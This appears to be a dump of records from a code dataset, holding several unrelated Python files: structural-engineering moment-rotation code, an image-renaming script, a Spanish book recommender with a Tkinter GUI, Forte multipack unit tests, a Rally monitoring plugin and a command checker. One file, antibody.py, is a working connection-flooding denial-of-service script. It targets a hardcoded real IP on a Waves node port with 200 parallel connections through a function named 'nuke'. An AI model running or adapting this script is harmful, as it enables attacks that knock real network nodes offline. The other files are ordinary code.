\r\n Mms.append(M_ms[0]+M_ms[1])\r\n Mtot.append(M_ms[0]+M_ms[1]+data[1]*(tendon[2]-data[6]*data[0]/2))\r\n Tpt.append(data[1])\r\n Tms.append(data[2][0])\r\n Cms.append(data[2][1])\r\n Cc.append(data[4])\r\n epsmst.append(data[3][0])\r\n epsmsc.append(data[3][1])\r\n \r\n #######################################################################################################################################\r\n \r\n # Mild steel bilinear\r\n k0ms = Mms[rot_yt]/rotation[rot_yt]\r\n krms = (Mms[-1]-Mms[rot_yc])/(rotation[-1]-rotation[rot_yc])\r\n rot_msy = (Mms[rot_yc]-krms*rotation[rot_yc])/(k0ms-krms) \r\n Mms_y = k0ms*rot_msy\r\n rms = krms/k0ms\r\n \r\n # Mild steel Ramberg Osggood\r\n Mms_yRO = Mms_y*0.9\r\n RO = 10\r\n Mms_RO = np.arange(0,9, 0.1)\r\n rotation_RO = np.zeros(len(Mms_RO))\r\n for i in range(len(Mms_RO)):\r\n rotation_RO[i] = Mms_RO[i]/k0ms*(1+(Mms_RO[i]/Mms_yRO)**(RO-1))\r\n Mms_RO = np.interp(rotation, rotation_RO, Mms_RO)\r\n \r\n # Post tensioning Bilinear\r\n rot_ypt = PTi\r\n# print rot_ypt\r\n k0pt = Mpt[rot_ypt]/rotation[rot_ypt]\r\n krpt = (Mpt[-1]-Mpt[rot_ypt])/(rotation[-1]-rotation[rot_ypt])\r\n rot_pty = (Mpt[50]-krpt*rotation[50])/(k0pt-krpt) \r\n Mpt_y = k0pt*rot_pty\r\n rpt = krpt/k0pt\r\n \r\n # Post tensioning Bilinear\r\n# rot_ypt = PTi\r\n# print rot_ypt\r\n# k0pt = Mpt[rot_ypt]/rotation[rot_ypt]\r\n# krpt = (Mpt[-1]-Mpt[rot_ypt])/(rotation[-1]-rotation[rot_ypt])\r\n# rot_pty = (Mpt[50]-krpt*rotation[50])/(k0pt-krpt) \r\n# Mpt_y = k0pt*rot_pty\r\n# rpt = krpt/k0pt\r\n \r\n #######################################################################################################################################\r\n\r\n PT_ruauBL = '1 15 0 0 1.0e10 1.00e10 '+str(round(k0pt,1))+' 0 '+str(round(rpt*Fr,6))+' '+str(round(rpt*Fr,6))+' 0 0 0 0 0 0 0'+'\\n1.0e10 -1.0e10 1.0e10 -1.0e10 '+str(round(Mpt_y, 2))+' '+str(round(-Mpt_y, 2))\r\n MS_ruauBL = '1 2 0 0 1.0e10 1.00e10 '+str(round(k0ms,1))+' 0 '+str(round(rms*Fr,6))+' '+str(round(rms*Fr,6))+' 0 0 0 0 0 0 0 \\n1.0e10 -1.0e10 1.0e10 -1.0e10 '+str(round(Mms_y, 2))+' '+str(round(-Mms_y, 2))\r\n MS_ruauRO = '1 40 0 0 1.0e10 1.00e10 '+str(round(k0ms,1))+' 0 '+str(RO)+' '+str(RO)+' 0 0 0 0 0 0 0\\n1.0e10 -1.0e10 1.0e10 -1.0e10 '+str(np.round(Mms_yRO,1))+' '+str(np.round(-Mms_yRO,1)) \r\n\r\n return PT_ruauBL, MS_ruauRO\r\n \r\n \r\n \r\n \r\n","sub_path":"src/ruaumoko_momrot.py","file_name":"ruaumoko_momrot.py","file_ext":"py","file_size_in_byte":8822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"371774269","text":"#!/usr/bin/python3\n\n# More details: https://github.com/wavesplatform/Scorex/issues/115\n\nimport socket, time, random, struct\nfrom pyblake2 import blake2b\nfrom multiprocessing import Pool\n\n#target = \"139.162.169.207\"\ntarget = \"52.30.47.67\"\n\nTCP_PORT = 6863\nBUFFER_SIZE = 1024\nCONNECTIONS = 200\n\ndef generate_handshake():\n import random\n nonce = b\"\"\n for i in range(8):\n nonce += bytearray((random.randint(0,255),))\n HANDSHAKE = b\"\"\"\\x05\\x77\\x61\\x76\\x65\\x73\\x00\\x00\\\n\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\\n\\x00\\x04\\x05\\x62\\x63\\x64\\x65\\x76\"\"\" + nonce + b\"\"\"\\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\\n\\x57\\xda\\x74\\xf9\"\"\"\n return HANDSHAKE\n\ndef generate_message(msgCode, data):\n # Message:\n # Length - 4 bytes, 0x100000 is MAX\n # MAGIC - 4 bytes - \\x12\\x34\\x56\\x78\n # \n # Message code - 1 byte\n # Data length - 4 bytes signed\n # Data checksum - 4 bytes - algorithm unknown\n # Data - length bytes\n\n MAGIC = b'\\x12\\x34\\x56\\x78'\n a=blake2b(digest_size=32);a.update(data);crc=a.digest()[:4]\n message_size = len(data) + len(MAGIC) + len(crc) + len(msgCode) + 4\n return struct.pack(\">L\", message_size) + MAGIC + msgCode + struct.pack(\">L\", len(data)) + crc + data\n\ndef generate_message_send_peers():\n # Data length - 4 bytes\n # For data_length:\n # IP addr - 4 bytes\n # port - 4 bytes??? [don't question it :-P]\n data = []\n peers = 1\n for i in range(peers):\n data.append(bytearray((random.randint(0, 255), random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))))\n data.append(struct.pack(\">L\", random.randint(1, 65000)))\n data = b''.join(data)\n data = struct.pack(\">L\", peers) + data\n return generate_message(b'\\x02', data)\n\ndef nuke(meh):\n while True:\n try:\n s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.connect((target, TCP_PORT))\n s.send(generate_handshake())\n time.sleep(0.05)\n while True:\n# s.send(generate_message_send_peers())\n time.sleep(0.05)\n data = s.recv(1)\n if not data: break\n s.close()\n except ConnectionRefusedError:\n pass\n except Exception:\n import traceback\n traceback.print_exc()\n\np = Pool(CONNECTIONS)\np.map(nuke, range(CONNECTIONS))\ntime.sleep(666666)\n","sub_path":"antibody.py","file_name":"antibody.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"500685938","text":"import json\r\nimport os\r\nfrom os import listdir\r\nfrom os.path import isfile, join, splitext\r\nimport glob\r\nimport random\r\n\r\n\r\nclass metadata_map():\r\n\r\n\t# id\r\n\t\t# weather\r\n\t\t\t# hum\r\n\t\t\t# tempm\r\n\t\t\t# dewptm\r\n\t\t\t# vism\r\n\t\t\t# pressurem\r\n\t\t\t# windchillm\r\n\t\t\t# wgustm\r\n\r\n\t# Get Image Names to match the image id with metadata\r\n\r\n\r\n\tdef get_features(self, img_id):\r\n\t\treturn self.n_metadata[img_id]\r\n\r\n\r\n\tdef __init__(self):\r\n\r\n\t\tdef get_class(index,class_idxs):\r\n\r\n\t\t\tif index < class_idxs[0]:\r\n\t\t\t\treturn\"cloudy\"\r\n\t\t\telif index >= class_idxs[0] and index < class_idxs[1]:\r\n\t\t\t\treturn\"foggy\"\r\n\t\t\telif index >= class_idxs[1] and index < class_idxs[2]:\r\n\t\t\t\treturn \"rain\"\r\n\t\t\telif index >= class_idxs[2] and index < class_idxs[3]:\r\n\t\t\t\treturn \"snow\"\r\n\t\t\telif index >= class_idxs[3]:\r\n\t\t\t\treturn \"sunny\"\r\n\t\t\telse:\r\n\t\t\t\tprint(\"asserted\")\r\n\t\t\t\tassert 0\r\n\r\n\t\tclasses = [\"cloudy\", \"foggy\", \"rain\", \"snow\", \"sunny\"]\r\n\r\n\t\t# Get Image Names (id)\r\n\t\tclass_idxs = []\r\n\t\timg_ids = []\r\n\t\tfor clss in classes:\r\n\t\t\t# IMAGE_PATH=\"./weather/{}\".format(clss) #path to image class\r\n\t\t\tIMAGE_PATH=\"./weather_dataset/train/{}\".format(clss)\r\n\t\t\timgs = [im.split('.')[0] for im in listdir(IMAGE_PATH) if isfile(join(IMAGE_PATH, im))] #get all images names\r\n\t\t\tif class_idxs != []:\r\n\t\t\t\tclass_idxs.append(class_idxs[-1] + len(imgs))\r\n\t\t\telse:\r\n\t\t\t\tclass_idxs.append(len(imgs))\r\n\t\t\timg_ids += imgs\r\n\r\n\r\n\t\txclasses = [\"foggy\", \"rain\", \"snow\"]\r\n\r\n\t\tfor clss in xclasses:\r\n\t\t\trename_img = glob.glob(\"./pinterest_images/{}/*\".format(clss))\r\n\t\t\tfor i in rename_img:\r\n\t\t\t\tx = int(random.uniform(0,1000000))\r\n\r\n\t\t\t\tif str(x) in img_ids:\r\n\t\t\t\t\tcontinue\r\n\t\t\t\tpath = splitext(i)[0].rsplit('/', 1)[0]\r\n\t\t\t\tos.rename(i, path + '/{}'.format(x) + \".jpg\")\r\n\r\n\r\n\t\t# print(len(img_ids))\r\n\t\t# print(len(set(img_ids)))\r\n\t\t# print(class_idxs)\r\n\r\n\t\t# features = [\"hum\", \"tempm\", \"dewptm\", \"vism\", \"pressurem\", \"windchillm\", \"wgustm\"]\r\n\r\n\t\t# ### Load Metadata\r\n\t\t# with open('metadata.json') as f:\r\n\t\t# \tmetadata = json.load(f)\r\n\r\n\t\t# self.n_metadata = {}\r\n\t\t# for data in metadata:\r\n\t\t# \ttry:\t\r\n\t\t# \t\tidx = img_ids.index(data['id']) # check whether image has a metadata if not skip\r\n\t\t# \t\tclss = get_class(idx, class_idxs) # check which class image belongs to\r\n\t\t# \t\t# print(idx, clss)\r\n\t\t# \t\tfeat_list = []\r\n\t\t# \t\tfor key, val in data['weather'].items():\r\n\t\t# \t\t\tif key in features:\r\n\t\t# \t\t\t\tfeat_list.append({key : val}) #put all relevant features in list\r\n\t\t# # \t\t\t\t# print(key, val)\r\n\t\t# \t\t# if(data['id'] == \"12381129\"):\r\n\t\t# \t\t# \tprint(feat_list)\r\n\t\t# \t\tself.n_metadata[data['id']] = (feat_list, clss) # mapping\r\n\t\t# \t\t# print(self.n_metadata)\r\n\t\t# \texcept Exception as e:\r\n\t\t\t\t# print(\"{} img id NOT FOUND\".format(data['id'])) #lots of images not found because we are using subset of original dataset\r\n\t\t\t\t# x = 0\r\n\t\t\t\t# print(x)\r\n\t\t\r\n\t\t# print(len(img_ids)) # total of 8408 images \r\n\t\t# print(len(self.n_metadata)) ## 6509 images with metadata\r\n\t\t# for key,val in self.n_metadata.items():\r\n\t\t\t# print(key, val)\r\n\t\t\t# break\r\n\t\t\r\n\t\t# the 8408 - 6509 = 1899 (which is the number of images we got online)\r\n\t\t\r\n\r\n\r\n\r\n\r\n# wgust, windhcill, vism (lots of missing or -999 values)\r\n# auto encoder on missing data instead of doing the regeneration?\r\n\r\n\r\n##TODO need to do for data augmenting (change data augment python script to rename to ID.<>.jpg to easily split)\r\n\r\nif __name__ == \"__main__\":\r\n\tm = metadata_map()\r\n\t# feat = m.get_features(\"12381129\")\r\n\t# print(feat)\r\n\r\n# weather_feats = ['hum', 'tempm', 'dewptm', 'vism', 'pressurem', 'windchillm', 'wgustm']\r\n# for data in metadata:\r\n# \tprint('id: ', data['id'])\r\n# \tfor feats in weather_feats:\r\n# \t\tprint(feats, data['weather'][feats])\r\n\r\n\r\n","sub_path":"metadata_parser/rename_downloaded.py","file_name":"rename_downloaded.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"292049150","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[192]:\n\n\n#pip install wx\n\n\n# In[213]:\n\n\nimport pandas as pd\nfrom rake_nltk import Rake\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport tkinter\n\n\n# In[214]:\n\n\npd.set_option('display.max_columns', 100)\nES = pd.read_csv('C:/Users/G50/Desktop/SRBCC/SRBCC/Inventario_English.spanish/inventario_spanish.csv', error_bad_lines=False, encoding=\"latin-1\")\nES.head()\n\n\n# In[215]:\n\n\nES = ES[['Titulo', 'autores', 'materia']]\n\n\n# In[216]:\n\n\nES['materia'] = ES['materia'].astype(str)\n\n\n# In[217]:\n\n\n#inicializando la columna\nES['palabras_clave'] = \"\"\n\n\nfor index, row in ES.iterrows():\n materia = row['materia']\n # instanciando rake, que utiliza las stopwords en el idioma ingles y descartando\n # puntuaciones\n r = Rake(language=\"spanish\")\n \n \n # extrayendo a las palabras y pasandolas al texto \n r.extract_keywords_from_text(materia)\n key_words_dict_scores = r.get_word_degrees()\n \n # asignando las palabras clave a la columna palabras_clave\n row['palabras_clave'] = list(key_words_dict_scores.keys())\n\n\n# In[218]:\n\n\nES = ES.drop(\"materia\", axis=1)\n\n\n# In[219]:\n\n\nES.set_index('Titulo', inplace = True)\n\n\n# In[220]:\n\n\nES['palabras'] = ''\ncolumns = ES.columns\n\nfor index, row in ES.iterrows():\n words = ''\n for col in columns:\n if col != 'autores':\n words = words + ' '.join(row[col])+ ''\n else:\n words = words + row[col]+ ' '\n row['palabras'] = words\n \nES.drop(columns = [col for col in ES.columns if col!= 'palabras'], inplace = True)\n\n\n# In[221]:\n\n\ncount = CountVectorizer()\ncount_matrix = count.fit_transform(ES['palabras'])\n\n\n# In[222]:\n\n\nindices = pd.Series(ES.index)\n\ncosine_sim = cosine_similarity(count_matrix, count_matrix)\n\n\n# In[223]:\n\n\ndef recomendaciones(title, cosine_sim = cosine_sim):\n \n recomendaciones_peliculas = []\n \n # obteniendo el index que coincida con el titulo\n idx = indices[indices == title].index[0]\n # creando un listado con las puntuaciones de similitud en orden descendiente\n score_series = pd.Series(cosine_sim[idx]).sort_values(ascending = False)\n # obteniendo los index de los libros mas similares\n top_5_indexes = list(score_series.iloc[1:11].index)\n \n # ciclo for que muestra los 5 libros mas parecidos\n for i in top_5_indexes:\n recomendaciones_peliculas.append(list(ES.index)[i])\n \n return recomendaciones_peliculas\n\n\n# In[224]:\n\n\nrecomendaciones(\"mirada en dos tiempos\")\n\n\n# In[225]:\n\n\nrecomendaciones('pequeños contribuyentes fiscal 1')\n\n\n# In[314]:\n\n\nrecomendaciones(\"capitan alatriste\")\n\n\n# In[354]:\n\n\ncount = CountVectorizer()\ncount_matrix = count.fit_transform(ES['palabras']) \n \nindices = pd.Series(ES.index)\ncosine_sim = cosine_similarity(count_matrix, count_matrix)\n\nfrom tkinter import *\n\n\ndef hi():\n global dave\n dave = startEntry.get()\n\ndef recomendaciones(cosine_sim = cosine_sim):\n \n recomendaciones_peliculas = []\n \n # obteniendo el index que coincida con el titulo\n idx = indices[indices == dave].index[0]\n # creando un listado con las puntuaciones de similitud en orden descendiente\n score_series = pd.Series(cosine_sim[idx]).sort_values(ascending = False)\n # obteniendo los index de los libros mas similares\n top_5_indexes = list(score_series.iloc[1:6].index)\n \n # ciclo for que muestra los 5 libros mas parecidos\n for i in top_5_indexes:\n recomendaciones_peliculas.append(list(ES.index)[i])\n \n \n label.config(text=recomendaciones_peliculas)\n\n\nframe = Tk()\nframe.title(\"Sistema de recomendacion\")\nframe.geometry(\"800x300\")\nframe.config(bg=\"#AEB6BF\")\nimagen=PhotoImage(file=\"book.png\")\ntitulo = Label(frame, text=\"Sistema de recomendacion de la biblioteca de CU\", font=(20))\ntitulo.place(x=300, y=100)\ntitulo.pack()\n\nstartLabel =Label(frame,text=\"Ingresa un libro de tu preferencia: \")\nstartLabel.place(x=250, y=250)\n\nlabelR=Label(frame, text=\"Recomendaciones:\", bg=\"white\", fg='black')\nlabelR.place(x=25, y=150)\nlabel=Label(frame,text='...',bg='black',fg='white')\nlabel.place(x=25,y=180)\n\nstartEntry=Entry(frame)\n\n\nstartLabel.pack()\nstartEntry.pack()\n\nplotButton= Button(frame,text=\"Guardar\", command=hi)\nplotButton.config(fg = \"black\", bg = \"white\")\nplotButton2= Button(frame,text=\"Obtener recomendaciones\", command=recomendaciones)\nplotButton2.config(fg = \"white\", bg = \"black\")\n\nplotButton.pack()\nplotButton2.pack()\n\nframe.mainloop()\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"SR_Codigo.py","file_name":"SR_Codigo.py","file_ext":"py","file_size_in_byte":4524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"325171072","text":"\"\"\"\nUnit tests for multi pack related operations.\n\"\"\"\nimport logging\nimport unittest\n\nfrom forte.data.data_pack import DataPack\nfrom forte.data.multi_pack import MultiPack, MultiPackLink\nfrom forte.data.ontology import Annotation, MultiPackGroup\nfrom forte.pack_manager import PackManager\nfrom ft.onto.base_ontology import Token\n\nlogging.basicConfig(level=logging.DEBUG)\n\n\ndef _space_token(pack: DataPack):\n begin = 0\n for i, c in enumerate(pack.text):\n if c == ' ':\n pack.add_entry(Token(pack, begin, i))\n begin = i + 1\n\n if begin < len(pack.text):\n pack.add_entry(Token(pack, begin, len(pack.text)))\n\n\nclass DataPackTest(unittest.TestCase):\n\n def setUp(self) -> None:\n # Note: input source is created automatically by the system, but we\n # can also set it manually at test cases.\n pm = PackManager()\n self.multi_pack = MultiPack(pm)\n self.data_pack1 = self.multi_pack.add_pack(ref_name=\"left pack\")\n self.data_pack2 = self.multi_pack.add_pack(ref_name=\"right pack\")\n\n self.data_pack1.pack_name = \"some pack\"\n self.data_pack1.set_text(\"This pack contains some sample data.\")\n\n self.data_pack2.pack_name = \"another pack\"\n self.data_pack2.set_text(\"This pack contains some other sample data.\")\n\n def test_serialization(self):\n ser_str: str = self.multi_pack.serialize()\n print(ser_str)\n\n def test_add_pack(self):\n data_pack3 = self.multi_pack.add_pack(ref_name=\"new pack\")\n data_pack3.pack_name = \"the third pack\"\n data_pack3.set_text(\"Test to see if we can add new packs..\")\n\n self.assertEqual(len(self.multi_pack.packs), 3)\n self.assertEqual(self.multi_pack.pack_names,\n {'left pack', 'right pack', 'new pack'})\n\n def test_rename_pack(self):\n self.multi_pack.rename_pack('right pack', 'last pack')\n self.assertEqual(self.multi_pack.pack_names,\n {'left pack', 'last pack'})\n\n def test_multipack_groups(self):\n \"\"\"\n Test some multi pack group.\n Returns:\n\n \"\"\"\n # Add tokens to each pack.\n for pack in self.multi_pack.packs:\n _space_token(pack)\n\n # Create some group.\n token: Annotation\n left_tokens = {}\n for token in self.multi_pack.packs[0].get(Token):\n left_tokens[token.text] = token\n\n right_tokens = {}\n for token in self.multi_pack.packs[1].get(Token):\n right_tokens[token.text] = token\n\n for key, lt in left_tokens.items():\n if key in right_tokens:\n rt = right_tokens[key]\n self.multi_pack.add_entry(MultiPackGroup(\n self.multi_pack, [lt, rt]))\n\n # Check the groups.\n expected_content = [(\"This\", \"This\"), (\"pack\", \"pack\"),\n (\"contains\", \"contains\"), (\"some\", \"some\"),\n (\"sample\", \"sample\"), (\"data.\", \"data.\")]\n\n group_content = []\n g: MultiPackGroup\n for g in self.multi_pack.get(MultiPackGroup):\n e: Annotation\n group_content.append(tuple([e.text for e in g.get_members()]))\n\n self.assertListEqual(expected_content, group_content)\n\n def test_multipack_entries(self):\n \"\"\"\n Test some multi pack entry.\n Returns:\n\n \"\"\"\n # 1. Add tokens to each pack.\n for pack in self.multi_pack.packs:\n _space_token(pack)\n\n left_tokens = [t.text for t in self.multi_pack.packs[0].get(Token)]\n right_tokens = [t.text for t in self.multi_pack.packs[1].get(Token)]\n\n self.assertListEqual(left_tokens,\n [\"This\", \"pack\", \"contains\", \"some\", \"sample\",\n \"data.\"])\n self.assertListEqual(right_tokens,\n [\"This\", \"pack\", \"contains\", \"some\", \"other\",\n \"sample\", \"data.\"])\n\n # 2. Link the same words from two packs.\n token: Annotation\n left_tokens = {}\n for token in self.multi_pack.packs[0].get(Token):\n left_tokens[token.text] = token\n\n right_tokens = {}\n for token in self.multi_pack.packs[1].get(Token):\n right_tokens[token.text] = token\n\n for key, lt in left_tokens.items():\n if key in right_tokens:\n rt = right_tokens[key]\n self.multi_pack.add_entry(MultiPackLink(\n self.multi_pack, lt, rt))\n\n # One way to link tokens.\n linked_tokens = []\n for link in self.multi_pack.links:\n parent_text = link.get_parent().text\n child_text = link.get_child().text\n linked_tokens.append((parent_text, child_text))\n\n self.assertListEqual(\n linked_tokens,\n [(\"This\", \"This\"), (\"pack\", \"pack\"), (\"contains\", \"contains\"),\n (\"some\", \"some\"), (\"sample\", \"sample\"), (\"data.\", \"data.\")])\n\n # Another way to get the links\n linked_tokens = []\n for link in self.multi_pack.get(MultiPackLink):\n parent_text = link.get_parent().text\n child_text = link.get_child().text\n linked_tokens.append((parent_text, child_text))\n\n self.assertListEqual(\n linked_tokens,\n [(\"This\", \"This\"), (\"pack\", \"pack\"), (\"contains\", \"contains\"),\n (\"some\", \"some\"), (\"sample\", \"sample\"), (\"data.\", \"data.\")])\n\n # 3. Test deletion\n\n # Delete the second link.\n self.multi_pack.delete_entry(self.multi_pack.links[1])\n\n linked_tokens = []\n for link in self.multi_pack.links:\n parent_text = link.get_parent().text\n child_text = link.get_child().text\n linked_tokens.append((parent_text, child_text))\n\n self.assertListEqual(\n linked_tokens,\n [(\"This\", \"This\"), (\"contains\", \"contains\"),\n (\"some\", \"some\"), (\"sample\", \"sample\"), (\"data.\", \"data.\")])\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/forte/data/multi_pack_test.py","file_name":"multi_pack_test.py","file_ext":"py","file_size_in_byte":6095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"330417996","text":"#!/usr/bin/env python\n\n# Copyright 2017, Rackspace US, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport argparse\nimport numpy as np\nimport os\nimport time\nimport yaml\n\nimport maas_common\nfrom maas_common import status_err, status_ok, metric\n\nimport rally\nfrom rally.api import API\n\nPLUGIN_PATH = '/usr/lib/rackspace-monitoring-agent/plugins/rally/plugins/'\nTASKS_PATH = '/usr/lib/rackspace-monitoring-agent/plugins/rally/tasks/'\nLOCKS_PATH = '/var/lock/maas_rally'\n\n\nclass ParseError(maas_common.MaaSException):\n pass\n\n\nclass CommandNotRecognized(maas_common.MaaSException):\n pass\n\n\ndef make_parser():\n parser = argparse.ArgumentParser(\n description='Execute rally performance scenario and print the results'\n )\n parser.add_argument('task',\n help='Which task definition to execute. The task '\n 'definition must exist in {{ maas_plugin_dir }}/ '\n 'tasks/.yml. \\n'\n 'Examples: \"keystone\", \"nova\", etc.')\n parser.add_argument('-c', '--concurrency',\n type=int,\n help='Number of tasks to run in parallel')\n parser.add_argument('-e', '--extra_vars',\n action='append',\n help='Extra variable to pass to the Rally task in key='\n 'value format. May be specified multiple times. '\n 'Example: \"-e size=2 -e image_name=\\'^cirros$\\'\"')\n parser.add_argument('-t', '--times',\n type=int,\n help='Number of times to execute the task')\n parser.add_argument('--telegraf-output',\n action='store_true',\n default=False,\n help='Set the output format to telegraf')\n return parser\n\n\ndef parse_task_results(task_result):\n # This expects the format returned by `rally task results `\n action_data = {}\n action_data[args.task + '_total'] = list()\n for iteration in task_result['result']:\n iteration_total_duration = 0\n for action in iteration['atomic_actions'].keys():\n action_duration = iteration['atomic_actions'][action]\n iteration_total_duration += action_duration\n if action not in action_data:\n action_data[action] = list()\n action_data[action].append(action_duration)\n action_data[args.task + '_total'].append(iteration_total_duration)\n\n # Quota exceeded would be a typical error here\n if task_result['result'][0]['error']:\n status_err(' '.join(task_result['result'][0]['error']),\n m_name='maas_rally')\n\n status_ok(m_name='maas_rally')\n\n metric('rally_load_duration', 'double',\n '{:.2f}'.format(task_result['load_duration']))\n metric('rally_full_duration', 'double',\n '{:.2f}'.format(task_result['full_duration']))\n\n metric('rally_sample_count', 'uint32',\n '{}'.format(task_result['key']['kw']['runner']['times']))\n metric('rally_sample_concurrency', 'uint32',\n '{}'.format(task_result['key']['kw']['runner']['concurrency']))\n\n for action in action_data.keys():\n metric('{}_min'.format(action), 'double',\n '{:.2f}'.format(np.amin(action_data[action])))\n metric('{}_max'.format(action), 'double',\n '{:.2f}'.format(np.amax(action_data[action])))\n metric('{}_median'.format(action), 'double',\n '{:.2f}'.format(np.median(action_data[action])))\n metric('{}_mean'.format(action), 'double',\n '{:.2f}'.format(np.mean(action_data[action])))\n\n metric('{}_90pctl'.format(action), 'double',\n '{:.2f}'.format(np.percentile(action_data[action], 90)))\n metric('{}_95pctl'.format(action), 'double',\n '{:.2f}'.format(np.percentile(action_data[action], 95)))\n\n\ndef main():\n start = time.time()\n\n # Ensure we can find the task definition\n tasks_path = os.path.realpath(TASKS_PATH)\n task_file = tasks_path + '/' + args.task + '.yml'\n if not os.path.isfile(task_file):\n status_err('Unable to locate task definition '\n 'for {} in {}'.format(args.task, tasks_path),\n m_name='maas_rally')\n\n if not os.path.exists(LOCKS_PATH):\n os.makedirs(LOCKS_PATH)\n\n rapi = API()\n\n task_obj = rapi.task.create(args.task, [args.task])\n task_uuid = task_obj['uuid']\n\n LOCK_PATH = LOCKS_PATH + '/' + args.task + '/'\n if os.path.exists(LOCK_PATH):\n lock_uuid = os.listdir(LOCK_PATH)[0]\n lock_mtime = os.stat(LOCK_PATH + lock_uuid)[8]\n lock_duration = time.time() - lock_mtime\n try:\n task_status = rapi.task.get(lock_uuid)['status']\n if task_status == 'finished':\n os.rmdir(LOCK_PATH + '/' + lock_uuid)\n elif task_status == 'init' and lock_duration > 30:\n os.rmdir(LOCK_PATH + '/' + lock_uuid)\n else:\n lock_mtime_str = time.strftime('%H:%M:%S %Y-%m-%d %Z',\n time.localtime(lock_mtime))\n status_err(\"Unable to get lock for {} - locked by \"\n \"task {} at {}.\".format(args.task,\n lock_uuid,\n lock_mtime_str),\n m_name='maas_rally')\n except rally.exceptions.TaskNotFound:\n os.rmdir(LOCK_PATH + '/' + lock_uuid)\n else:\n os.mkdir(LOCK_PATH)\n\n os.mkdir(LOCK_PATH + '/' + task_uuid)\n\n task_args = {}\n if args.times is not None:\n task_args['times'] = args.times\n if args.concurrency is not None:\n task_args['concurrency'] = args.concurrency\n if args.extra_vars is not None:\n for extra_var in args.extra_vars:\n k, v = extra_var.lstrip().split('=')\n task_args.update({k: v})\n\n with open(task_file) as f:\n input_task = f.read()\n task_dir = os.path.expanduser(\n os.path.dirname(task_file)) or \"./\"\n rendered_task = rapi.task.render_template(input_task,\n task_dir,\n **task_args)\n\n parsed_task = yaml.safe_load(rendered_task)\n\n rally.common.plugin.discover.load_plugins(PLUGIN_PATH)\n rally.plugins.load()\n rapi.task.start(args.task, parsed_task, task_obj)\n\n # This is the format returned by `rally task results `\n results = [{\"key\": x[\"key\"], \"result\": x[\"data\"][\"raw\"],\n \"sla\": x[\"data\"][\"sla\"],\n \"hooks\": x[\"data\"].get(\"hooks\", []),\n \"load_duration\": x[\"data\"][\"load_duration\"],\n \"full_duration\": x[\"data\"][\"full_duration\"],\n \"created_at\": x.get(\"created_at\").strftime(\n \"%Y-%d-%mT%H:%M:%S\")}\n for x in task_obj.get_results()][0]\n\n parse_task_results(results)\n\n os.rmdir(LOCK_PATH + '/' + task_uuid)\n os.rmdir(LOCK_PATH)\n\n end = time.time()\n metric('maas_check_duration', 'double', \"{:.2f}\".format((end - start) * 1))\n\n return\n\n\nif __name__ == '__main__':\n parser = make_parser()\n args = parser.parse_args()\n with maas_common.print_output(print_telegraf=args.telegraf_output):\n main()\n","sub_path":"playbooks/files/rax-maas/plugins/rally_performance.py","file_name":"rally_performance.py","file_ext":"py","file_size_in_byte":7966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"90320362","text":"#!/usr/bin/env python\n# Do a rough tokenization of the given input source file and check which\n# of the given commands are used in this code.\n# Prints out the found commands as a list of defines to be included.\n# The commands-input file must give a command in each line with all its dependencies (including the command itself).\n\nimport io\nimport re\nimport sys\nimport tokenize\n\nclass TokenChecker:\n def __init__(self, filepath):\n with open(filepath, 'r') as f:\n code = f.read()\n code = re.sub(re.compile(\"/\\*.*?\\*/\", re.DOTALL), \"\", code)\n code = re.sub(r\"(/\\*([^*]|[\\r\\n]|(\\*+([^*/]|[\\r\\n])))*\\*+/)|(//.*?$)\", \"\", code, flags=re.MULTILINE)\n self.tokens=set()\n try:\n for token in tokenize.tokenize(io.BytesIO(code.encode('utf-8')).readline):\n # Append the token value to the tokens list\n tok = token[1]\n if len(tok)>0 and tok[0].isalpha(): # only add tokens that start with letter\n self.tokens.add(tok)\n except tokenize.TokenError:\n print(f\"Error tokenizing {filepath}\")\n self.filepath = filepath\n\n\n def check_for(self, commands):\n if isinstance(commands, str):\n commands = [commands]\n found_commands = []\n for command in commands:\n c=command.split(\" \")[0] # only check first word\n if c in self.tokens:\n found_commands.append(command)\n return found_commands\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 3:\n print(\"Usage: command_checker.py \")\n sys.exit(1)\n\n filepath = sys.argv[1]\n commands_file = sys.argv[2]\n\n commands = {}\n\n with open(commands_file, 'r') as f:\n for line in f:\n words = line.strip().split(\" \")\n command = words[0]\n dependencies = words[1:]\n commands[command] = dependencies\n\n checker = TokenChecker(filepath)\n found_commands = checker.check_for(commands.keys())\n\n includes=set()\n for command in found_commands:\n for dependency in commands[command]:\n includes.add(dependency)\n\n for include in includes:\n print(f\"#define IOTEMPOWER_COMMAND_{include.upper()}\")\n","sub_path":"bin/command_checker.py","file_name":"command_checker.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"108100775","text":"\"\"\"\nPython 2.7\nFrank Fralick\n\nThis example code illustrates how to access values sent from Arduino over \nserial port within a Rhino Python script. \n\"\"\"\n\nimport rhinoscriptsyntax as 